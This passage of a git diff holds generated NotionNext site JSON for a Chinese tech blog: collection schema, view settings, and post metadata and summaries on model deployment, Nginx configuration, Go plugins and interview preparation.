ray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240429-LM-fox","tags":["面试"],"summary":"搜狐面试题","title":"万里长征-03-搜狐","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-05-25T02:20:00.057Z","lastEditedDay":"2024-5-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":""},"next":{"id":"71879fde-4992-4276-9767-ac5bd71e4058","date":{"start_date":"2024-04-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240425-nginx","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","title":"Nginx配置备忘录","status":"Published","publishDate":1714003200000,"publishDay":"2024-4-25","lastEditedDate":"2024-04-24T16:37:04.342Z","lastEditedDay":"2024-4-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","tagItems":[{"name":"运维","color":"gray"},{"name":"工具","color":"pink"}],"password":""},"recommendPosts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","date":{"start_date":"2024-04-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240425-nginx","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","title":"Nginx配置备忘录","status":"Published","publishDate":1714003200000,"publishDay":"2024-4-25","lastEditedDate":"2024-04-24T16:37:04.342Z","lastEditedDay":"2024-4-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","tagItems":[{"name":"运维","color":"gray"},{"name":"工具","color":"pink"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240525-LM-04.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240525-LM-04.json new file mode 100644 index 000000000..d4048c89f --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240525-LM-04.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone 